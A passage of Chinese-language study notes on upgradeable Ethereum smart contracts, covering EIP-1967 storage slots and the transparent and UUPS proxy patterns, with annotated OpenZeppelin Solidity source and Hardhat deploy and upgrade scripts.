代理合约学习笔记

可升级模式

Openzeppelin的三种代理模式 | 登链社区 | 区块链技术社区 (learnblockchain.cn)

代理模式 优点 缺点
透明代理模式 实施起来相对容易和简单;被广泛使用的 相对而言,部署需要更多的气体
钻石代理模式 通过模块化帮助克服 24KB 的大小限制;增量可升级性 实施和维护更复杂;使用新术语,让新手更难理解;在撰写本文时,不受 Etherscan 等工具的支持
UUPS 代理模式 气体高效;删除可升级性的灵活性 不常用,因为它是相当新的;升级逻辑(访问控制)需要格外小心,因为它驻留在实施合同中

EIP1967

概述

EIP1967官方文档

EIP1967代码

该标准产生的背景是因为合约部署越来越多地采用路由合约跟逻辑合约分开部署的方式,这种方式的好处是在升级逻辑合约的时候,只需要将路由合约中逻辑合约的地址更改,就可以路由到新的逻辑合约上。

EIP-1967的目的是规定一个通用的存储插槽使用标准,用于在代理合约中的特定位置存放逻辑合约的地址。其规定了如下特定的插槽:

同时,EIP-1967在设计如下插槽的时,特意将计算得到的地址减去1,目的是为了不能知道哈希的前像,进一步减少可能的攻击机会。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
=> 逻辑合约地址 
bytes32(uint256(keccak256("eip1967.proxy.implementation") - 1))
更新该地址时,需要同时发出:
event Upgraded(address indexed implementation);

=> beacon地址
bytes32(uint256(keccak256("eip1967.proxy.beacon") - 1))
更新该地址时,需要发出:
event BeaconUpgraded(address indexed beacon);

=> admin 地址,所有代理的所有者,每个网络仅部署一个
bytes32(uint256(keccak256("eip1967.proxy.admin") - 1))
更新该地址时,需要发出:
event AdminChanged(address indexed previousAdmin, address newAdmin);

该标准是为了解决以下代理合约跟逻辑合约部署存在的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract Proxy{ 
address public owner;
address public impl;
fallback() external payable{}
function updateTo(address _impl) external {}
}

contract Impl{
uint256 public value_0;
uint256 public value_1;
function modify() public {
value_0 = 0; // 由于是delegatecall, 此时的owner会被设置为0;
}
}

image-20221104173206225

ERC1967Upgrade
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)

pragma solidity ^0.8.2;

import "../beacon/IBeacon.sol";
import "../../interfaces/draft-IERC1822.sol";
import "../../utils/Address.sol";
import "../../utils/StorageSlot.sol";

/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
// 这是“eip1967.proxy.rollback”的 keccak-256 哈希减 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;

/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
// 带有当前实现地址的存储槽。这是“eip1967.proxy.implementation”的 keccak-256 哈希减 1,并在构造函数中验证。
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);

/**
* @dev Returns the current implementation address.
*/
// 返回当前的逻辑合约地址。
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}

/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
// 在 EIP1967 实现槽中存储一个新地址。
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}

/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
// 执行逻辑合约升级操作
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}

/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
// 执行逻辑合约升级操作,并额外使用 delegatecall 来调用传入的 data
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}

/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
// 执行逻辑合约升级操作,对 UUPS 代理进行安全检查,并额外使用 delegatecall 来调用传入的 data
function _upgradeToAndCallUUPS(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
//从旧实现升级将执行回滚测试。 此测试需要新的实施升级回旧的、不符合 ERC1822 的实施。 删除这种特殊情况将打破从旧 UUPS 实施到新 UUPS 实施的升级路径。
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}

/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
//这是“eip1967.proxy.admin”的 keccak-256 哈希减 1,并且是在构造函数中验证。
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;

/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);

/**
* @dev Returns the current admin.
*/
// 返回当前管理员
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}

/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
// 添加新的管理员
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}

/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
// 更改管理员
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}

/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
// UpgradeableBeacon 合约的存储槽,它定义了这个代理的实现。
// 这是 bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) 并在构造函数中验证。
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;

/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);

/**
* @dev Returns the current beacon.
*/
// 返回当前 beacon
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}

/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
// 添加一个新的 beacon
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}

/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
// 通过额外的delegatecall调用执行信标升级。 注意:这会升级信标的地址,它不会升级信标中包含的实现(参见{UpgradeableBeacon-_setImplementation})。
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}

应用

https://dev.to/yakult/tutorial-write-upgradeable-smart-contract-proxy-contract-with-openzeppelin-1916

https://eth.antcave.club/solidity-1

https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable

部署和获得逻辑合约地址

可以在区块链浏览器查看https://goerli.etherscan.io/address/0xa9e8517c61820d4a35592169e851d4a2719afb8a#code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
async function main() {

const Box = await ethers.getContractFactory("Box")
console.log("Deploying Box...")
// 部署可升级的合约,使用 deployProxy()
const box = await upgrades.deployProxy(Box,[42], { initializer: 'store' })

console.log(box.address," box(proxy) address")

const receipt = await box.deployTransaction.wait(2);
console.log(await upgrades.erc1967.getImplementationAddress(box.address)," getImplementationAddress")
console.log(await upgrades.erc1967.getAdminAddress(box.address)," getAdminAddress")
}

main().catch((error) => {
console.error(error)
process.exitCode = 1
})

升级

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const proxyAddress = '0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0'

async function main() {
console.log(proxyAddress," original Box(proxy) address")
const BoxV2 = await ethers.getContractFactory("BoxV2")
console.log("upgrade to BoxV2...")
const boxV2 = await upgrades.upgradeProxy(proxyAddress, BoxV2)
console.log(boxV2.address," BoxV2 address(should be the same)")

console.log(await upgrades.erc1967.getImplementationAddress(boxV2.address)," getImplementationAddress")
console.log(await upgrades.erc1967.getAdminAddress(boxV2.address), " getAdminAddress")
}

main().catch((error) => {
console.error(error)
process.exitCode = 1
})

为了避免与代理后面的实现协定的存储变量发生冲突,我们使用EIP1967存储槽。

  • ERC1967Upgrade:用于获取和设置 EIP1967 中定义的存储插槽的内部函数。
  • ERC1967Proxy:使用 EIP1967 存储插槽的代理。默认情况下不可升级。

有两种替代方法可以向 ERC1967 代理添加可升级性。它们的差异在下面透明与 UUPS 代理中进行了解释。

透明代理模式

透明代理模式 - OpenZeppelin 博客

transparent示例代码

目的:为了解决函数冲突问题

透明代理,有三方参与:代理合约、逻辑合约和管理合约。

image-20221104173019245

我们处理此问题的方法是通过透明代理模式。透明代理的目标是用户无法与实际逻辑协定区分开来。这意味着调用代理的用户应始终最终执行逻辑协定中的函数,而不是代理管理函数。upgradeTo

那么,我们如何允许代理管理呢?答案基于邮件发件人。透明代理将根据调用方地址决定将哪些调用委托给底层逻辑协定:

  • 如果调用方是代理的管理员,则代理不会 delegate any calls,而只会应答它理解的管理消息。
  • 如果调用方是任何其他地址,则代理将始终 delegate the calls,无论它是否与代理自己的功能之一匹配。

让我们在示例中看看它是如何工作的。假设一个带有 angetter 和 anfunction 的代理,该代理将调用委托给具有 angetter 和 afunction 的 ERC20 合约。下表涵盖了所有生成的方案:owner() upgradeTo() owner() transfer()

image-20221104171454827

这些属性意味着管理员帐户只能用于管理员操作,例如升级代理或更改 管理员,因此最好是不用于其他任何用途的专用帐户。这将避免头痛 尝试从代理实现调用函数时突然出错。

虽然这是最安全的方法,但它可能会导致令人困惑的情况。例如,如果用户创建逻辑协定的代理,然后立即尝试与之交互(按照上面的示例,通过调用),他们将收到还原错误。这是因为来自代理管理员的任何调用都不会委托给逻辑协定。transfer()

TransparentUpgradeableProxy

该合约实现了一个由管理员升级的代理。

  1. 如果管理员以外的任何帐户调用代理,则调用将转发到实现,即使 该调用与代理本身公开的管理函数之一匹配。
  2. 如果管理员调用代理,它可以访问管理功能,但其调用永远不会转发到 实现。如果管理员尝试在实现上调用函数,它将失败并显示错误 “管理员无法回退到代理目标”。

这些属性意味着管理员帐户只能用于管理员操作,例如升级代理或更改 管理员,因此最好是不用于其他任何用途的专用帐户。这将避免头痛 尝试从代理实现调用函数时突然出错。

我们建议将专用帐户作为代理管理员合同的实例。如果以这种方式设置, 您应该将实例视为代理的真正管理界面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/transparent/TransparentUpgradeableProxy.sol)

pragma solidity ^0.8.0;

import "../ERC1967/ERC1967Proxy.sol";

/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is ERC1967Proxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.
*/
// 初始化由 `_admin` 管理的可升级代理,由 `_logic` 作为逻辑合约,以及如 {ERC1967Proxy-constructor} 中所述,可选择使用 `_data` 进行初始化。
constructor(
address _logic,
address admin_,
bytes memory _data
) payable ERC1967Proxy(_logic, _data) {
_changeAdmin(admin_);
}

/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
// 如果不是管理员,则会使用 delegatecall 来调用逻辑合约
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}

/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
// 只有管理员能调用这个函数
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}

/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
// 返回当前的逻辑合约
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}

/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}

/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
// 升级逻辑合约
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}

/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
// 升级逻辑合约,并额外使用 delegatecall 调用 data
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}

/**
* @dev Returns the current admin.
*/
// 返回现在的管理员
function _admin() internal view virtual returns (address) {
return _getAdmin();
}

/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
// 确保管理员无法访问 Fallback 函数
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
ProxyAdmin

这是一个辅助合同,旨在被分配为TransparentUpgradeableProxy 的管理员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/transparent/ProxyAdmin.sol)

pragma solidity ^0.8.0;

import "./TransparentUpgradeableProxy.sol";
import "../../access/Ownable.sol";

/**
* @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an
* explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}.
*/
contract ProxyAdmin is Ownable {
/**
* @dev Returns the current implementation of `proxy`.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
// 返回代理合约的逻辑合约,并要求此合约必须是代理合约的管理员
function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}

/**
* @dev Returns the current admin of `proxy`.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
// 返回代理合约的管理员,并要求此合约必须是代理合约的管理员
function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}

/**
* @dev Changes the admin of `proxy` to `newAdmin`.
*
* Requirements:
*
* - This contract must be the current admin of `proxy`.
*/
// 更改代理合约的管理员,并要求此合约必须是代理合约的管理员
function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner {
proxy.changeAdmin(newAdmin);
}

/**
* @dev Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
// 升级,并要求此合约必须是代理合约的管理员
function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner {
proxy.upgradeTo(implementation);
}

/**
* @dev Upgrades `proxy` to `implementation` and calls a function on the new implementation. See
* {TransparentUpgradeableProxy-upgradeToAndCall}.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
// 升级,额外使用 delegatecall 调用 data,并要求此合约必须是代理合约的管理员
function upgradeAndCall(
TransparentUpgradeableProxy proxy,
address implementation,
bytes memory data
) public payable virtual onlyOwner {
proxy.upgradeToAndCall{value: msg.value}(implementation, data);
}
}

逻辑合约

就算逻辑合约里有upgradeTo等方法,也不会影响调用。因为普通用户就直接在代理合约判断ifAdmin的时候就转到了逻辑合约里,而管理合约的调用,就会放行到代理合约直接执行。

管理合约

仅仅是回调参数传过来的proxy的同名函数。整个管理合约是否可以调用proxy的函数,是在proxy代理合约里判断的。所以管理合约很轻量。

合约升级

用代理合约地址,直接调用管理合约的upgrade或者upgradeAndCall方法即可。

UUPS

也就是 EIP1822

区别

EIP-1822讨论的合约升级模式与Openzeppelin的透明合约升级模式的不同点在于:EIP-1822的代理合约只读取实现合约的地址,并将所有的方法都代理给实现合约,包括修改实现合约地址的逻辑部分也在实现合约里。而透明合约升级模式中,proxy合约管理着实现合约的地址,要实现合约升级,只需要在proxy合约中更改实现合约的地址即可。其他的逻辑代理给实现合约。

也就是说EIP-1822的实现合约既包含了普通的业务逻辑处理,更包含了自身的升级逻辑处理。简单来讲就是EIP-1822的实现合约部分,都需要继承自一个公共的可升级实现合约:proxiable.sol。在可升级的实现合约proxiable中,实现如下方法:

1
2
3
4
5
6
7
8
9
10
11
function proxiableUUID() public pure returns (bytes32) {
//作用是一个flag,用来判断是否返回特定值keccak256("PROXIABLE"),以判断该合约是否是一个实现了EIP-1822的可升级实现合约
}
function updateCodeAddress(address newAddress) ineternal {
//简单来讲就是更新实际逻辑实现合约的地址
require(this.proxiableUUID() == Proxiable(newAddress).proxiableUUID());
bytes32 proxiableUUID_ = this.proxiableUUID();
assembly{
sstore(proxiableUUID_, newAddress)
}
}

然后在实现合约中,所有的实现合约都继承自proxiable合约,然后实现自己的逻辑即可。因为代理合约只是从插槽keccak256("PROXIABLE")处读取实现合约的地址,而实现合约可以通过proxiable中的updateCodeAddress方法来更新这个地址,从而实现代理合约中对应插槽keccak256("PROXIABLE")位置处的地址改变为目标地址。

UUPS 代码

EIP1822 官方文档

EIP1822 讨论

UUPS + hardhat

image-20221104172156181

UUPS 代理模式类似于透明代理模式

用户和代理合约交互,代理合约不直接实现upgradeToupgradeToAndCall,由逻辑合约实现。

EIP-1822 使用 keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7" 存储槽中的结果。它不是 100% 随机的,但足够随机,因此不会发生碰撞。至少在正常情况下。您可以深入研究 Solidity 中的存储变量布局,然后您会发现几乎没有机会产生碰撞。

OpenZeppelin 建议使用 UUPS 模式,因为它更省气。但是何时使用 UUPS 的决定实际上是基于几个因素,例如项目的业务需求等等。

UUPS 最初的动机是在主网上部署许多智能合约钱包。逻辑可以部署一次。代理可以为每个新钱包部署数百次,而无需花费太多 gas。

由于升级方法存在于逻辑合约中,如果协议未来想要完全去除可升级性,开发者可以选择 UUPS。

功能

接口合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)

pragma solidity ^0.8.0;

/**
* @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified
* proxy whose upgrades are fully controlled by the current implementation.
*/
interface IERC1822Proxiable {
/**
* @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation
* address.
*
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
* function revert if invoked through a proxy.
*/
// 返回可代理合约假定用于存储实现地址的存储槽。
// 指向可代理合约的代理本身不应该被认为是可代理的,因为这可能会通过委托给自己直到耗尽gas而破坏升级到它的代理。 因此,如果通过代理调用此函数,则该函数revert至关重要。
function proxiableUUID() external view returns (bytes32);
}

代理合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pragma solidity ^0.5.1;

contract Proxy {
// Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7"
// 提议的构造函数接受任意数量的任何类型的参数,因此与任何逻辑合约构造函数兼容。
// 此外,代理合约构造函数的任意性质提供了从逻辑合约源代码中可用的一个或多个构造函数中进行选择的能力(例如constructor1,constructor2...等)。请注意,如果逻辑契约中包含多个构造函数,则应包含一个检查以禁止在初始化后再次调用构造函数。
// 值得注意的是,支持多个构造函数的新增功能不会抑制对 Proxy Contract 字节码的验证,因为初始化 tx 调用数据(输入)可以先使用 Proxy Contract ABI,然后使用 Logic Contract ABI 进行解码。
constructor(bytes memory constructData, address contractLogic) public {
// save the code address
assembly { // solium-disable-line
sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, contractLogic)
}
(bool success, bytes memory _ ) = contractLogic.delegatecall(constructData); // solium-disable-line
require(success, "Construction failed");
}

// 将逻辑合约的地址存储在定义的存储位置keccak256("PROXIABLE")。这消除了代理和逻辑合约中的变量之间发生冲突的可能性,从而提供了与任何逻辑合约的“通用”兼容性。
function() external payable {
assembly { // solium-disable-line
let contractLogic := sload(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7)
calldatacopy(0x0, 0x0, calldatasize)
let success := delegatecall(sub(gas, 10000), contractLogic, 0x0, calldatasize, 0, 0)
let retSz := returndatasize
returndatacopy(0, 0, retSz)
switch success
case 0 {
revert(0, retSz)
}
default {
return(0, retSz)
}
}
}
}

逻辑合约

Proxiable Contract 包含在 Logic Contract 中,并提供执行升级所需的功能。兼容性检查proxiable可防止升级期间出现无法修复的更新。

警告:updateCodeAddress并且proxiable必须存在于逻辑合约中。未能包含这些可能会阻止升级,并可能使代理合约变得完全无法使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract Proxiable {
// Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7"

// 兼容性检查以确保新的逻辑合约实现通用可升级代理标准。请注意,为了支持未来的实现,bytes32可以更改比较,例如keccak256("PROXIABLE-ERC1822-v1").
function updateCodeAddress(address newAddress) internal {
require(
bytes32(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7) == Proxiable(newAddress).proxiableUUID(),
"Not compatible"
);
assembly { // solium-disable-line
sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, newAddress)
}
}
// 将逻辑合约的地址存储keccak256("PROXIABLE")在代理合约中。
function proxiableUUID() public pure returns (bytes32) {
return 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7;
}
}
OpenZeppelin 中的应用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/UUPSUpgradeable.sol)

pragma solidity ^0.8.0;

import "../../interfaces/draft-IERC1822.sol";
import "../ERC1967/ERC1967Upgrade.sol";

/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is IERC1822Proxiable, ERC1967Upgrade {
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);

/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
// 检查执行是否通过委托调用执行,并且执行上下文是一个代理合约,其实现(如 ERC1967 中定义)指向 self. 这应该只适用于使用当前合同作为其实现的 UUPS 和透明代理。通过 ERC1167 最小代理(克隆)执行函数通常不会通过此测试,但不能保证会失败。
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}

/**
* @dev Check that the execution is not being performed through a delegate call. This allows a function to be
* callable on the implementing contract but not through proxies.
*/
// 检查执行是否不是通过委托调用执行的。这允许函数可以在执行合约上调用,但不能通过代理调用。
modifier notDelegated() {
require(address(this) == __self, "UUPSUpgradeable: must not be called through delegatecall");
_;
}

/**
* @dev Implementation of the ERC1822 {proxiableUUID} function. This returns the storage slot used by the
* implementation. It is used to validate the implementation's compatibility when performing an upgrade.
*
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
* function revert if invoked through a proxy. This is guaranteed by the `notDelegated` modifier.
*/
